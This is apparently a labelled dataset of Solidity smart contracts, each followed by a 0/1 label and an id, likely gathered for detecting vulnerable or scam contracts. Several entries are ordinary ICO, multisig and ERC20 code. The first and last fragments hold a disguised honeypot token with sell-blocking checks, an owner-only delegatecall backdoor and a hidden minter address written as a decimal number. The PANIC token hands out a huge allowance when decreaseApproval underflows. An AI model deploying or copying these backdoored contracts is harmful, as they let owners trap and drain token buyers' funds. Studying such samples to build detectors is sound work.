_minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,515
pragma solidity ^0.4.23; library SafeMath { function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } } contract MultiSigWallet { using SafeMath for uint; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event RecoveryModeActivated(); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; uint public lastTransactionTime; uint public recoveryModeTriggerTime; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } function() public payable { } constructor(address[] _owners, uint _required, uint _recoveryModeTriggerTime) public { require(_required > 0 && _owners.length > 0 && _recoveryModeTriggerTime > 0 && _owners.length >= _required); for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; lastTransactionTime = block.timestamp; recoveryModeTriggerTime = _recoveryModeTriggerTime; } function enterRecoveryMode() public ownerExists(msg.sender) { require(block.timestamp.sub(lastTransactionTime) >= recoveryModeTriggerTime && required > 1); required = required.sub(1); lastTransactionTime = block.timestamp; emit RecoveryModeActivated(); } function submitTransaction(address destination, uint value, bytes data) public ownerExists(msg.sender) returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } function executeTransaction(uint transactionId) public ownerExists(msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; lastTransactionTime = block.timestamp; if (txn.destination.call.value(txn.value)(txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } function isConfirmed(uint transactionId) public constant returns (bool) { uint count; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++){ if (confirmations[transactionId][owners[i]]) count += 1; } } function getOwners() public constant returns (address[]) { return owners; } function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } }
1
4,438
pragma solidity ^0.5.8; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is Token { using SafeMath for uint256; mapping(address => mapping (address => uint256)) internal allowed; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[msg.sender] >= _value && balances[_to].add(_value) >= balances[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 1000000000000000000000000; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PANIC is StandardToken { string public constant name = "Panic Sell"; string public constant symbol = "PANIC"; uint256 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 100000000000000; address public tokenWallet; constructor() public { totalSupply = INITIAL_SUPPLY; tokenWallet = msg.sender; balances[tokenWallet] = totalSupply; } }
1
4,761
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract GoPowerToken is StandardToken, Ownable { string public name = 'GoPower Token'; string public symbol = 'GPT'; uint public decimals = 18; uint constant TOKEN_TOTAL_SUPPLY_LIMIT = 700 * 1e6 * 1e18; uint constant TOKEN_SALE_LIMIT = 600 * 1e6 * 1e18; uint constant RESERVED_FOR_SETTLEMENTS = 50 * 1e6 * 1e18; uint constant RESERVED_FOR_TEAM = 30 * 1e6 * 1e18; uint constant RESERVED_FOR_BOUNTY = 20 * 1e6 * 1e18; address constant settlementsAddress = 0x9e6290C55faba3FFA269cCbF054f8D93586aaa6D; address constant teamAddress = 0xaA2E8DEbEAf429A21c59c3E697d9FC5bB86E126d; address constant bountyAddress = 0xdFa360FdF23DC9A7bdF1d968f453831d3351c33D; uint constant TOKEN_RATE_INITIAL = 0.000571428571428571 ether; uint constant TOKEN_RATE_ICO_DAILY_INCREMENT = TOKEN_RATE_INITIAL / 200; uint constant BONUS_PRESALE = 50; uint constant BONUS_ICO_WEEK1 = 30; uint constant BONUS_ICO_WEEK2 = 20; uint constant BONUS_ICO_WEEK3 = 10; uint constant BONUS_ICO_WEEK4 = 5; uint constant MINIMUM_PAYABLE_AMOUNT = 0.0001 ether; uint constant TOKEN_BUY_PRECISION = 0.01e18; uint public presaleStartedAt; uint public presaleFinishedAt; uint public icoStartedAt; uint public icoFinishedAt; function presaleInProgress() private view returns (bool) { return ((presaleStartedAt > 0) && (presaleFinishedAt == 0)); } function icoInProgress() private view returns (bool) { return ((icoStartedAt > 0) && (icoFinishedAt == 0)); } modifier onlyDuringSale { require(presaleInProgress() || icoInProgress()); _; } modifier onlyAfterICO { require(icoFinishedAt > 0); _; } function startPresale() onlyOwner external returns(bool) { require(presaleStartedAt == 0); presaleStartedAt = now; return true; } function finishPresale() onlyOwner external returns(bool) { require(presaleInProgress()); presaleFinishedAt = now; return true; } function startICO() onlyOwner external returns(bool) { require(presaleFinishedAt > 0); require(icoStartedAt == 0); icoStartedAt = now; return true; } function finishICO() onlyOwner external returns(bool) { require(icoInProgress()); _mint_internal(settlementsAddress, RESERVED_FOR_SETTLEMENTS); _mint_internal(teamAddress, RESERVED_FOR_TEAM); _mint_internal(bountyAddress, RESERVED_FOR_BOUNTY); icoFinishedAt = now; tradeRobot = address(0); return true; } address public tradeRobot; modifier onlyTradeRobot { require(msg.sender == tradeRobot); _; } function setTradeRobot(address _robot) onlyOwner external returns(bool) { require(icoFinishedAt == 0); tradeRobot = _robot; return true; } function _mint_internal(address _to, uint _amount) private { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(address(0), _to, _amount); } function mint(address _to, uint _amount) onlyDuringSale onlyTradeRobot external returns (bool) { _mint_internal(_to, _amount); return true; } function mintUpto(address _to, uint _newValue) onlyDuringSale onlyTradeRobot external returns (bool) { var oldValue = balances[_to]; require(_newValue > oldValue); _mint_internal(_to, _newValue.sub(oldValue)); return true; } function buy() onlyDuringSale public payable { assert(msg.value >= MINIMUM_PAYABLE_AMOUNT); var tokenRate = TOKEN_RATE_INITIAL; uint amount; if (icoInProgress()) { var daysFromIcoStart = now.sub(icoStartedAt).div(1 days); tokenRate = tokenRate.add( TOKEN_RATE_ICO_DAILY_INCREMENT.mul(daysFromIcoStart) ); amount = msg.value.mul(1e18).div(tokenRate); var weekNumber = 1 + daysFromIcoStart.div(7); if (weekNumber == 1) { amount = amount.add( amount.mul(BONUS_ICO_WEEK1).div(100) ); } else if (weekNumber == 2) { amount = amount.add( amount.mul(BONUS_ICO_WEEK2).div(100) ); } else if (weekNumber == 3) { amount = amount.add( amount.mul(BONUS_ICO_WEEK3).div(100) ); } else if (weekNumber == 4) { amount = amount.add( amount.mul(BONUS_ICO_WEEK4).div(100) ); } } else { amount = msg.value.mul(1e18).div(tokenRate); amount = amount.add( amount.mul(BONUS_PRESALE).div(100) ); } amount = amount.add(TOKEN_BUY_PRECISION/2).div(TOKEN_BUY_PRECISION).mul(TOKEN_BUY_PRECISION); require(totalSupply.add(amount) <= TOKEN_SALE_LIMIT); _mint_internal(msg.sender, amount); } function () external payable { buy(); } function collect() onlyOwner external { msg.sender.transfer(this.balance); } function transferExt(address _to, uint256 _value) onlyAfterICO external returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value) onlyAfterICO public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) onlyAfterICO public returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint _value) onlyAfterICO public returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) onlyAfterICO public returns (bool) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) onlyAfterICO public returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } }
1
3,379
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address addr) internal { role.bearer[addr] = true; } function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } function check(Role storage role, address addr) view internal { require(has(role, addr)); } function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); function checkRole(address _operator, string _role) view public { roles[_role].check(_operator); } function hasRole(address _operator, string _role) view public returns (bool) { return roles[_role].has(_operator); } function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } } contract Whitelist is Ownable, RBAC { string public constant ROLE_WHITELISTED = "whitelist"; modifier onlyIfWhitelisted(address _operator) { checkRole(_operator, ROLE_WHITELISTED); _; } function addAddressToWhitelist(address _operator) onlyOwner public { addRole(_operator, ROLE_WHITELISTED); } function whitelist(address _operator) public view returns (bool) { return hasRole(_operator, ROLE_WHITELISTED); } function addAddressesToWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } function removeAddressFromWhitelist(address _operator) onlyOwner public { removeRole(_operator, ROLE_WHITELISTED); } function removeAddressesFromWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } contract DateKernel { uint256 public unlockTime; constructor(uint256 _time) public { unlockTime = _time; } function determineDate() internal view returns (uint256 v) { uint256 n = now; uint256 ut = unlockTime; uint256 mo = 30 * 1 days; uint8 p = 10; assembly { if sgt(n, ut) { if or(slt(sub(n, ut), mo), eq(sub(n, ut), mo)) { v := 1 } if sgt(sub(n, ut), mo) { v := add(div(sub(n, ut), mo), 1) } if or(eq(v, p), sgt(v, p)) { v := p } } } } } contract Distributable is StandardToken, Ownable, Whitelist, DateKernel { using SafeMath for uint; event Distributed(uint256 amount); event MemberUpdated(address member, uint256 balance); struct member { uint256 lastWithdrawal; uint256 tokensTotal; uint256 tokensLeft; } mapping (address => member) public teams; function _transfer(address _from, address _to, uint256 _value) private returns (bool) { require(_value <= balances[_from]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function updateMember(address _who, uint256 _last, uint256 _total, uint256 _left) internal returns (bool) { teams[_who] = member(_last, _total, _left); emit MemberUpdated(_who, _left); return true; } function airdrop(address[] dests, uint256[] values) public onlyOwner { require(dests.length == values.length); for (uint256 i = 0; i < dests.length; i++) { transfer(dests[i], values[i]); } } function distributeTokens(address[] _member, uint256[] _amount) onlyOwner public returns (bool) { require(_member.length == _amount.length); for (uint256 i = 0; i < _member.length; i++) { updateMember(_member[i], 0, _amount[i], _amount[i]); addAddressToWhitelist(_member[i]); } emit Distributed(_member.length); return true; } function rewardController(address _member) internal returns (uint256) { member storage mbr = teams[_member]; require(mbr.tokensLeft > 0, "You've spent your share"); uint256 multiplier; uint256 callback; uint256 curDate = determineDate(); uint256 lastDate = mbr.lastWithdrawal; if(curDate > lastDate) { multiplier = curDate.sub(lastDate); } else if(curDate == lastDate) { revert("Its no time"); } if(mbr.tokensTotal >= mbr.tokensLeft && mbr.tokensTotal > 0) { if(curDate == 10) { callback = mbr.tokensLeft; } else { callback = multiplier.mul((mbr.tokensTotal).div(10)); } } updateMember( _member, curDate, mbr.tokensTotal, mbr.tokensLeft.sub(callback) ); return callback; } function getDistributedToken() public onlyIfWhitelisted(msg.sender) returns(bool) { require(unlockTime > now); uint256 amount = rewardController(msg.sender); _transfer(this, msg.sender, amount); return true; } } contract NTOKTokenContract is Distributable, BurnableToken, CanReclaimToken, Claimable { string public name; string public symbol; uint8 public decimals; uint256 public INITIAL_SUPPLY; constructor() public DateKernel(1541030400) { name = "NTOK Token Contract"; symbol = "NTOK"; decimals = 18; INITIAL_SUPPLY = 33000000 * 10 ** uint256(decimals); totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } function() external { revert("Does not accept ether"); } }
1
3,370
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FlokiToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, 